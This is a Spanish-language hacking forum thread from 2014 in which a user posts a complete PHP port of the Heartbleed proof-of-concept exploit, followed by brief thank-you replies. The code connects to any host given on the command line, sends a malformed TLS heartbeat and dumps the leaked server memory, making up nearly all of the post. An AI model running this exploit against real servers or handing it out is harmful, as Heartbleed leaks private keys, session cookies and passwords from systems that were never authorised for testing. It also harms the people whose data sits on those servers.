comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Explotar Heartbleed con PHP

  • 6 Respuestas
  • 5462 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Zerquix18

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
  • hola
    • Ver Perfil
  • Skype: zerquix18
« en: Noviembre 16, 2014, 06:19:43 pm »

Hey, soy nuevo acá y me gustaría mostrarles algo que hice unos meses atrás con la vulnerabilidad de Heartbleed, traduciendo el exploit de Heartbleed (ssltest.py) de Python a PHP  ;D

Código: PHP
  1. <?php
  2. /**
  3. * Heartbleed POC
  4. *
  5. * @author Zerquix18
  6. *
  7. * @link http://github.com/zerquix18/heartbleed
  8. *
  9. * NOTE: This is the translation of ssltest.py from python to PHP
  10. * Don't be evil...
  11. **/
  12. echo "--------PHP Heartbleed POC ---------------\n\n";
  13. if( 1 == $argc )
  14. exit("Usage: \"php ssltest.php url.com 443\"\n");
  15. array_shift($argv);
  16. $data = array(
  17. $argv[0],
  18. array_key_exists(1, $argv) && is_numeric($argv[1]) ? $argv[1] : 443
  19. );
  20. if( false == ($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP) ) )
  21. exit("Unable to create socket!");
  22. function h2bin( $x ) {
  23. $x = str_replace( array(" ", "\n"), "", $x);
  24. return hex2bin($x);
  25. }
  26. $hello = h2bin("16 03 02 00 dc 01 00 00 d8 03 02 53
  27. 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
  28. bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
  29. 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
  30. 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
  31. c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
  32. c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
  33. c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
  34. c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
  35. 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
  36. 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
  37. 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
  38. 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
  39. 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
  40. 00 0f 00 01 01");
  41. $hb = h2bin("18 03 02 00 03
  42. 01 40 00");
  43. /**
  44. *
  45. * Thanks: http://stackoverflow.com/a/4225813/1932946
  46. **/
  47. function hexdump($data) {
  48. static $width = 16;
  49. static $pad = '.';
  50. static $from = '';
  51. static $to = '';
  52. if ($from==='')
  53. {
  54. for ($i=0; $i<=0xFF; $i++)
  55. {
  56. $from .= chr($i);
  57. $to .= ($i >= 0x20 && $i <= 0x7E) ? chr($i) : $pad;
  58. }
  59. }
  60. $hex = str_split(bin2hex($data), $width*2);
  61. $chars = str_split(strtr($data, $from, $to), $width);
  62. $offset = 0;
  63. foreach ($hex as $i => $line) {
  64. echo sprintf('%6X',$offset).' : '.implode(' ', str_split($line,2)) . ' [' . $chars[$i] . "]\n";
  65. $offset += $width;
  66. }
  67. }
  68. function recvall($length, $timeout = 5) {
  69. global $s;
  70. $endtime = time() + $timeout;
  71. $rdata = "";
  72. $remain = $length;
  73. while($remain > 0) {
  74. $rtime = $endtime - $timeout;
  75. if( $rtime < 0 )
  76. return null;
  77. $e = NULL;
  78. $r = array($s);
  79. @socket_select( $r, $w, $e, 5);
  80. if( in_array($s, $r) ) {
  81. $d = @socket_recv($s, $data, $remain, 0 );
  82. if( false == $data )
  83. return null;
  84. $rdata .= $data;
  85. $remain -= strlen($data);
  86. }
  87. }
  88. return $rdata;
  89. }
  90. function recvmsg() {
  91. global $s;
  92. $hdr = recvall(5);
  93. if( null === $hdr ):
  94. echo "Unexpected EOF receiving record header - server closed connection\n";
  95. return array(null, null, null);
  96. endif;
  97. list($typ, $ver, $ln) = array_values( unpack("Cn/n/nC", $hdr) );
  98. $pay = recvall($ln, 10);
  99. if( null === $pay ) {
  100. echo "Unexpected EOF receiving record payload - server closed connection\n";
  101. return array(null, null, null);
  102. }
  103. printf(" ... received message: type = %d, ver = %04x, length = %d\n", $typ, $ver, strlen($pay) );
  104. return array($typ, $ver, $pay);
  105. }
  106. function hit_hb() {
  107. global $hb, $s;
  108. socket_send($s, $hb, strlen($hb), 0);
  109. while( true ) {
  110. list($typ, $ver, $pay) = recvmsg();
  111. if( null === $typ )
  112. exit('No heartbeat response received, server likely not vulnerable');
  113. if( 24 == $typ ){
  114. echo "Received heartbeat response:\n";
  115. hexdump($pay);
  116. if( strlen($pay) > 3 )
  117. echo 'WARNING: server returned more data than it should - server is vulnerable!';
  118. else
  119. echo 'Server processed malformed heartbeat, but did not return any extra data.';
  120. return true;
  121. }
  122. if( 21 == $typ ) {
  123. echo "Received alert:\n";
  124. hexdump($pay);
  125. echo 'Server returned error, likely not vulnerable';
  126. return false;
  127. }
  128. }
  129. }
  130. echo "Connecting to socket...\n";
  131. $s_ = socket_connect( $s, $data[0], (int) $data[1] );
  132. if( ! $s )
  133. exit("Error [". socket_last_error() . "]: " . socket_strerror( socket_last_error() ) . "\n" );
  134. echo "Sending client hello...\n";
  135. @socket_send($s, $hello, strlen($hello), 0 );
  136. while( true ) {
  137. list($typ, $ver, $pay) = recvmsg();
  138. if( null == $typ )
  139. exit("Server closed conection without sending hello!\n");
  140. if( 22 == $typ && ord($pay[0]) == 0x0E )
  141. break;
  142. }
  143. echo "Sending heartbeat request...\n";
  144. @socket_send($s, $hb, strlen($hb), 0);
  145. hit_hb();

Lo pueden ver acá: https://github.com/Zerquix18/heartbleed/blob/master/ssltest.php

Si encuentran algún error, dejen una issue o si pueden repararlo envíen una pull request. :)!
« Última modificación: Noviembre 16, 2014, 06:35:19 pm por ANTRAX »

Desconectado Y3K

  • *
  • Underc0der
  • Mensajes: 173
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Noviembre 16, 2014, 08:49:02 pm »
Anda, ésto sí está muy bueno. Revisaré el código para ver cómo trabaja.

Gracias por el aporte.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5406
  • Actividad:
    11.67%
  • Reputación 33
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #2 en: Noviembre 16, 2014, 08:54:00 pm »
Excelente aporte Zerquix18!!


Desconectado Shell Shock

  • *
  • Underc0der
  • Mensajes: 10
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #3 en: Noviembre 17, 2014, 02:23:59 pm »
Anda mano aun no se mucho de python pero cuando leo o escucho Explotar Heartbleed me vuelve loco...jiji gracias por el aporte lo estare revisando..

Desconectado Y3K

  • *
  • Underc0der
  • Mensajes: 173
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #4 en: Noviembre 17, 2014, 03:45:59 pm »
Anda mano aun no se mucho de python pero cuando leo o escucho Explotar Heartbleed me vuelve loco...jiji gracias por el aporte lo estare revisando..
Hombre, pero si eso no es ni remotamente cercano a Python :/

Desconectado kid_goth

  • *
  • Underc0der
  • Mensajes: 201
  • Actividad:
    0%
  • Reputación 3
  • Tu conocimiento se limita cuando dices NO PUEDO...
    • Ver Perfil
    • DC Projects
    • Email
« Respuesta #5 en: Noviembre 24, 2014, 12:08:49 pm »
Anda mano aun no se mucho de python pero cuando leo o escucho Explotar Heartbleed me vuelve loco...jiji gracias por el aporte lo estare revisando..
Hombre, pero si eso no es ni remotamente cercano a Python :/

Al menos PERL se aceptaba xD :3 naaa a revisar también que da curiosidad el como trabaja



Acepta con humildad y aprecio que en la vida la muerte es inevitable y amarás ésta, adorando la muerte

Desconectado d4rks666

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #6 en: Diciembre 12, 2014, 07:32:38 pm »
interesante. gracias por el aporte =D

 

¿Te gustó el post? COMPARTILO!



Routerpwn, un framework para explotar dispositivos embebidos desde tu celular

Iniciado por hkm

Respuestas: 2
Vistas: 2095
Último mensaje Agosto 01, 2011, 11:45:43 pm
por JaAViEr
Explotar LFI, Subir Shell Explotando /proc/self/environ y Backdoorizar

Iniciado por hdbreaker

Respuestas: 1
Vistas: 2482
Último mensaje Julio 17, 2012, 12:35:31 am
por hdbreaker
Cómo explotar vulnerabilidad de Windows 7 con Metasploit

Iniciado por Pekador

Respuestas: 2
Vistas: 4508
Último mensaje Abril 16, 2012, 04:35:47 pm
por SPELINAX
Explotar Shellshock en smtp QMAIL

Iniciado por hdbreaker

Respuestas: 9
Vistas: 5651
Último mensaje Octubre 02, 2014, 01:03:27 pm
por WhiZ
Mini Tuto Explotar XSS

Iniciado por ANTRAX

Respuestas: 4
Vistas: 3859
Último mensaje Octubre 08, 2012, 01:29:18 am
por zoro248